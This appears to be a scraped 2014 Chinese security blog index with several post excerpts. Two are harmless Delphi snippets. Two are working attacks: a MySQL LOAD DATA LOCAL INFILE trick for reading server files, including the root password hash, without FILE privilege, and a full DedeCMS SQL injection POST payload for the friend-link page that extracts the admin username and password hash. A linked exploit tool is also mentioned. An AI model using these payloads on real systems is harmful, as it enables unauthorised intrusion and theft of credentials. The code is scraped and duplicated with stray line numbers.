Mysql 漏洞利用（越权读取文件，实战怎么从低权限拿到root密码）2014 年 5 月 21 日安全技术No commentscnrstar (Be My Personal Best!) | 2014-05-20 21:58众所周知，Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件，但是偶尔在一个网站上发现个小技巧，也就是通过load data infile可以读取本地文件到数据库，这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下：LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';1LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下：我们去读取mysql的数据库文件，mysql库的user表里存放着所有用户的hash，我们只要读取到这个文件，就差不多读取到了root的密码。于是本地测试,注意，我当前连接的用户test是没有File权限的：阅读全文..Delphi  SAH256 字符串加密2014 年 4 月 24 日程序源码No commentsuses DCPsha256,function DigestToStr(Digest: array of byte): string;vari: Integer;beginResult := '';for i := 0 to Length(Digest) - 1 doResult := Result + uppercase(IntToHex(Digest[i], 2));end;function GetStringHash(Source: AnsiString): string;varHash: TDCP_sha256;Digest: array[0..31] of byte;beginHash := TDCP_sha256.Create(nil);Hash.Init;Hash.UpdateStr(Source);Hash.Final(Digest);Hash.Free;Result := DigestToStr(Digest);end;1234567891011121314151617181920212223uses DCPsha256, function DigestToStr(Digest: array of byte): string;var  i: Integer;begin  Result := '';  for i := 0 to Length(Digest) - 1 do    Result := Result + uppercase(IntToHex(Digest[i], 2));end; function GetStringHash(Source: AnsiString): string;var  Hash: TDCP_sha256;  Digest: array[0..31] of byte;begin  Hash := TDCP_sha256.Create(nil);  Hash.Init;  Hash.UpdateStr(Source);  Hash.Final(Digest);  Hash.Free;  Result := DigestToStr(Digest);end;Delphi TStringList 分割字符串 过滤空格2014 年 4 月 24 日程序源码No commentsuses IdStringsvarsl: TStringList;str: string;i: Integer;beginstr := 'aa,b b,cc,dd';sl := TStringList.Create;SplitColumns(str, sl, ',');//该函数没有上述的BUGfor i := 0 to sl.Count - 1 doShowMessage(sl[i]);FreeAndNil(sl);end;12345678910111213uses IdStringsvarsl: TStringList;str: string;i: Integer;beginstr := 'aa,b b,cc,dd';sl := TStringList.Create;SplitColumns(str, sl, ',');//该函数没有上述的BUGfor i := 0 to sl.Count - 1 doShowMessage(sl[i]);FreeAndNil(sl);end;DedeCMS另一处全版本通杀SQL注入（无限制）2014 年 4 月 16 日安全技术One comment网站要支持申请友链/plus/flink_add.php直接填写验证码，抓包 ，修改POST数据Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\1Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\validate为验证码，修改提交即再打开友情链接plus/flink.php
有个无法显示的图片，查看源码
 写了一个漏洞利用工具
下载: DEDECMS
Web应用手工渗透测试——用SQLMap进行SQL盲注测试
2014 年 4 月 13 日
安全技术
No comments
简介
本文